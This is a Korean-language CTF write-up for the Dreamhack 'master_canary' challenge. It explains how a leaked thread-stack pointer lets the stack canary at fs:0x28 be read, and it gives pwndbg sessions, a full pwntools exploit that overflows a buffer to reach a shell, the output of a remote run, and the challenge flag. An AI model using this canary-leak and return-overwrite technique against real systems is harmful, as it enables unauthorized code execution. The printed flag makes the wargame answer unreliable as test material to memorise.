dreamhack - master_canary writeup
[dreamhack] master_canary writeup
1. 문제

이 문제는 서버에서 작동하고 있는 서비스(master_canary)의 바이너리와 소스 코드가 주어집니다.
카나리 값을 구해 실행 흐름을 조작해 셸을 획득하세요.
셸을 획득한 후 얻은 'flag' 파일의 내용을 워게임 사이트에 인증하면 점수를 획득할 수 있습니다.
플래그의 형식은 DH{...} 입니다.
2. 풀이
#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <pthread.h>
char *global_buffer;
void get_shell() {
system("/bin/sh");
}
void *thread_routine() {
char buf[256];
global_buffer = buf;
}
void read_bytes(char *buf, size_t size) {
size_t sz = 0;
size_t idx = 0;
size_t tmp;
while (sz < size) {
tmp = read(0, &buf[idx], 1);
if (tmp != 1) {
exit(-1);
}
idx += 1;
sz += 1;
}
return;
}
int main(int argc, char *argv[]) {
size_t size = 0;
pthread_t thread_t;
int idx = 0;
char leave_comment[32];
initialize();
while (1) {
printf("1. Create thread\n");
printf("2. Input\n");
printf("3. Exit\n");
printf("> ");
scanf("%d", &idx);
switch (idx) {
case 1:
if (pthread_create(&thread_t, NULL, thread_routine, NULL) < 0) {
perror("thread create error");
exit(0);
}
break;
case 2:
printf("Size: ");
scanf("%lu", &size);
printf("Data: ");
read_bytes(global_buffer, size);
printf("Data: %s", global_buffer);
break;
case 3:
printf("Leave comment: ");
read(0, leave_comment, 1024);
return 0;
default:
printf("Nope\n");
break;
}
}
return 0;
}
- case 1: thread를 하나 생성하고
thread_routine
함수를 실행한다.- 이때 전역변수인
global_buffer
에buf
의 주소를 넣는다.
- 이때 전역변수인
- case 2:
size
를 입력받아서global_buffer
에size
만큼 입력한다. (BOF 발생) - case 3:
leave_comment
에 1024bytes만큼 입력받는다. (BOF 발생)
문제 이름이 master_canary
인 만큼, canary
가 존재하고, 이를 어떻게든 leak해서 리턴주소를 덮어야한다.
leak을 할 수 있으려면 어디선가 출력을 해줄 수 있어야하는데, case 2
에서 printf
를 통해 global_buffer
에 들어있는 값을 출력을 한다.
마침 size
에 대한 검증 없이 입력을 받으므로 이를 통해 원하는 만큼 입력해서 출력할 수 있기는한데, global_buffer
는 전역변수이고 buf
는 thread 영역의 스택에 존재하니 어떻게 main
함수의 canary
를 leak할 수 있을지를 몰랐다.
2.1. master canary
그런데 찾아보니 문제 이름이기도 한 master canary
라는게 존재해서, thread 생성 시 사용되는 기본 canary
값이라고 한다. 즉, 이 값은 글로벌하게 공유되는 기준값으로, 각 thread가 생성될 때마다 이 값을 복사해서 자기 스택에 넣는다.
- 프로그램이 시작되면,
master canary
값은 랜덤하게 초기화 - 새로운 thread가 생성되면 해당 thread는 자신만의 스택을 할당받음
- 이때, 스택 보호용
canary
도 해당 스택에 저장되며 해당 값은master canary
에서 복사해서 사용
2.2. fs 세그먼트와 TLS (Thread-Local Storage)
TLS (Thread-Local Storage)
는 각 thread마다 따로 갖는 전용 데이터 공간이다. fs
세그먼트 레지스터는 TLS
의 기준 주소 (base address) 역할을 하며, 특정 TLS
변수는 fs
세그먼트를 기준으로 상대주소로 접근한다. (ex: fs:offset)
예를 들어, stack canary
는 fs:0x28
에 위치하며, gdb
에서는 $fs_base + 0x28
접근할 수 있다.
즉, thread 마다 fs
값이 다르며, 각자 다른 TLS
메모리 블록을 가리킨다.
2.3. 취약점
코드에서 thread가 생성되면서 수행되는 함수인 thread_routine
에서 buf
지역변수가 생성되는데, 이는 thread의 스택에 위치한다. 그런데 이를 global_buffer
에 저장하기 때문에 main
함수에서도 해당 thread의 스택에 접근할 수 있게된다. 원래는 불가능하지만, 다른 thread의 스택 주소를 글로벌하게 노출했기 때문에 가능하게 된 것이다.
그리고 buf
변수보다 더 뒤에 있는 영역에 fs
레지스터 영역이 존재한다면 size
를 매우 크게 입력해서 canary
가 들어있는 fs:0x28
위치까지 출력시킬 수 있다.
buf
의 위치와 fs:0x28
의 위치를 gdb
에서 한번 확인해보자.
먼저 thread_routine
함수의 적절한 위치에 breakpoint를 걸고 실행한 후, case 1
까지 실행해보자.
pwndbg> disass thread_routine
Dump of assembler code for function thread_routine:
0x0000000000400a5b <+0>: push rbp
0x0000000000400a5c <+1>: mov rbp,rsp
0x0000000000400a5f <+4>: sub rsp,0x110
0x0000000000400a66 <+11>: mov rax,QWORD PTR fs:0x28
0x0000000000400a6f <+20>: mov QWORD PTR [rbp-0x8],rax
0x0000000000400a73 <+24>: xor eax,eax
0x0000000000400a75 <+26>: lea rax,[rbp-0x110]
0x0000000000400a7c <+33>: mov QWORD PTR [rip+0x20162d],rax # 0x6020b0 <global_buffer>
0x0000000000400a83 <+40>: nop
0x0000000000400a84 <+41>: mov rdx,QWORD PTR [rbp-0x8]
0x0000000000400a88 <+45>: xor rdx,QWORD PTR fs:0x28
0x0000000000400a91 <+54>: je 0x400a98 <thread_routine+61>
0x0000000000400a93 <+56>: call 0x400820 <__stack_chk_fail@plt>
0x0000000000400a98 <+61>: leave
0x0000000000400a99 <+62>: ret
End of assembler dump.
pwndbg> b*thread_routine+20
Breakpoint 1 at 0x400a6f
pwndbg> r
Starting program: /home/ubuntu/dreamhack/level2/master_canary/master_canary
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/x86_64-linux-gnu/libthread_db.so.1".
1. Create thread
2. Input
3. Exit
> 1
[New Thread 0x7ffff7a006c0 (LWP 2529514)]
1. Create thread
2. Input
3. Exit
> [Switching to Thread 0x7ffff7a006c0 (LWP 2529514)]
Thread 2 "master_canary" hit Breakpoint 1, 0x0000000000400a6f in thread_routine ()
Disabling the emulation via Unicorn Engine that is used for computing branches as there isn't enough memory (1GB) to use it (since mmap(1G, RWX) failed). See also:
* https://github.com/pwndbg/pwndbg/issues/1534
* https://github.com/unicorn-engine/unicorn/pull/1743
Either free your memory or explicitly set `set emulate off` in your Pwndbg config
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
──────────────────────────────────────────────────────────────────────────────────[ REGISTERS / show-flags off / show-compact-regs off ]──────────────────────────────────────────────────────────────────────────────────
RAX 0x31362bf30c7f6500
RBX 0x7ffff7a00cdc ◂— 0
RCX 0x7ffff7c9c85e (start_thread+318) ◂— nop
RDX 0
RDI 0
RSI 0x7ffff7a00fb0 ◂— 0
R8 0
R9 0x7ffff7a006c0 ◂— 0x7ffff7a006c0
R10 8
R11 0x246
R12 0x7ffff7a006c0 ◂— 0x7ffff7a006c0
R13 0xffffffffffffff88
R14 0
R15 0x7fffffffdf50 ◂— 0
RBP 0x7ffff79ffec0 —▸ 0x7ffff79fff70 ◂— 0
RSP 0x7ffff79ffdb0 ◂— 0
RIP 0x400a6f (thread_routine+20) ◂— mov qword ptr [rbp - 8], rax
──────────────────────────────────────────────────────────────────────────────────────────[ DISASM / x86-64 / set emulate off ]───────────────────────────────────────────────────────────────────────────────────────────
► 0x400a6f <thread_routine+20> mov qword ptr [rbp - 8], rax [0x7ffff79ffeb8] <= 0x31362bf30c7f6500
0x400a73 <thread_routine+24> xor eax, eax EAX => 0
0x400a75 <thread_routine+26> lea rax, [rbp - 0x110]
0x400a7c <thread_routine+33> mov qword ptr [rip + 0x20162d], rax
0x400a83 <thread_routine+40> nop
0x400a84 <thread_routine+41> mov rdx, qword ptr [rbp - 8]
0x400a88 <thread_routine+45> xor rdx, qword ptr fs:[0x28]
0x400a91 <thread_routine+54> je thread_routine+61 <thread_routine+61>
0x400a93 <thread_routine+56> call __stack_chk_fail@plt <__stack_chk_fail@plt>
0x400a98 <thread_routine+61> leave
0x400a99 <thread_routine+62> ret
────────────────────────────────────────────────────────────────────────────────────────────────────────[ STACK ]─────────────────────────────────────────────────────────────────────────────────────────────────────────
00:0000│ rsp 0x7ffff79ffdb0 ◂— 0
... ↓ 2 skipped
03:0018│-0f8 0x7ffff79ffdc8 ◂— 0x2698ea
04:0020│-0f0 0x7ffff79ffdd0 —▸ 0x7ffff7a006c0 ◂— 0x7ffff7a006c0
05:0028│-0e8 0x7ffff79ffdd8 —▸ 0x7fffffffe057 ◂— 0x7ffff7c5fec600
06:0030│-0e0 0x7ffff79ffde0 ◂— 0
07:0038│-0d8 0x7ffff79ffde8 ◂— 0
──────────────────────────────────────────────────────────────────────────────────────────────────────[ BACKTRACE ]───────────────────────────────────────────────────────────────────────────────────────────────────────
► 0 0x400a6f thread_routine+20
1 0x7ffff7c9caa4 start_thread+900
2 0x7ffff7d29c3c clone3+44
──────────────────────────────────────────────────────────────────────────────────────────────────[ THREADS (2 TOTAL) ]───────────────────────────────────────────────────────────────────────────────────────────────────
► 2 "master_canary" stopped: 0x400a6f <thread_routine+20>
1 "master_canary" stopped: 0x7ffff7d1ba9a <read+74>
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> x/10x $rbp-0x110
0x7ffff79ffdb0: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff79ffdc0: 0x00000000 0x00000000 0x002698ea 0x00000000
0x7ffff79ffdd0: 0xf7a006c0 0x00007fff
pwndbg> x/10x $fs_base+0x28
0x7ffff7a006e8: 0x0c7f6500 0x31362bf3 0x1ae8845e 0x0839f2ce
0x7ffff7a006f8: 0x00000000 0x00000000 0x00000000 0x00000000
0x7ffff7a00708: 0x00000000 0x00000000
pwndbg> p/x 0x7ffff7a006e8 - 0x7ffff79ffdb0
$1 = 0x938
thread_routine
함수를 보면, $rbp-0x110
에 buf
가 존재한다. 따라서 이를 기준으로 fs:0x28
과의 거리를 확인해보면 0x938
만큼 차이가 난다. 따라서 canary
의 첫 1바이트가 0x00
임을 고려하여 0x939
만큼 size
를 입력하고 데이터를 그만큼 입력 후 출력하면 canary
를 leak할 수 있다.
이렇게 leak한 canary
를 통해 case 3
의 leave_comment
를 이용한 bof 공격을 수행하여 get_shell
함수를 실행시키면 쉘을 얻을 수 있다.
다만, 하다보니 두가지 문제가 있었다.
-
하나는 64비트에서 진행하여 리턴주소를 바로 덮었더니 stack alignment가 깨진듯했다. 그래서
ret
주소로 한번 리턴주소를 덮고나서 그 뒤에get_shell
함수 주소를 넣어줬다. -
나머지 하나는 서버환경이
ubuntu 16.04
여서 위에서 계산한buf
와fs:0x28
의 거리가 달랐다는 것. 이건 그냥 넘어갔다…
최종 exploit은 아래와 같다.
from pwn import *
p = process("./master_canary")
p = remote("host3.dreamhack.games", 23628)
elf = ELF("./master_canary")
p.sendlineafter(b"> ", b"1")
p.sendlineafter(b"> ", b"2")
# Local
#p.sendlineafter(b"Size: ", b"2361")
#p.sendafter(b"Data: ", b"a" * 2361)
#print(p.recvuntil(b"a" * 2361))
# Remote
p.sendlineafter(b"Size: ", b"2281")
p.sendafter(b"Data: ", b"a" * 2281)
print(p.recvuntil(b"a" * 2281))
canary = u64(b"\x00" + p.recv(7))
print(hex(canary))
p.sendlineafter(b"> ", b"3")
payload = b"a" * 0x28
payload += p64(canary)
payload += p64(0)
payload += p64(0x4007e1) # ret for stack alignment
payload += p64(elf.symbols["get_shell"])
p.sendlineafter(b"Leave comment: ", payload)
p.interactive()
ubuntu@instance-20250406-1126:~/dreamhack/level2/master_canary$ python3 e_master_canary.py
[+] Starting local process './master_canary': pid 2528077
[+] Opening connection to host3.dreamhack.games on port 23628: Done
[!] Could not populate PLT: Cannot allocate 1GB memory to run Unicorn Engine
[*] '/home/ubuntu/dreamhack/level2/master_canary/master_canary'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
b'Data: aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0xc5e37b2662cd6500
[*] Switching to interactive mode
$ id
uid=1000(master_canary) gid=1000(master_canary) groups=1000(master_canary)
$ cat flag
DH{5784e01c14862d84172ca055720f512ec3dd7e3b4421c691f638b1152cd62312}
해결~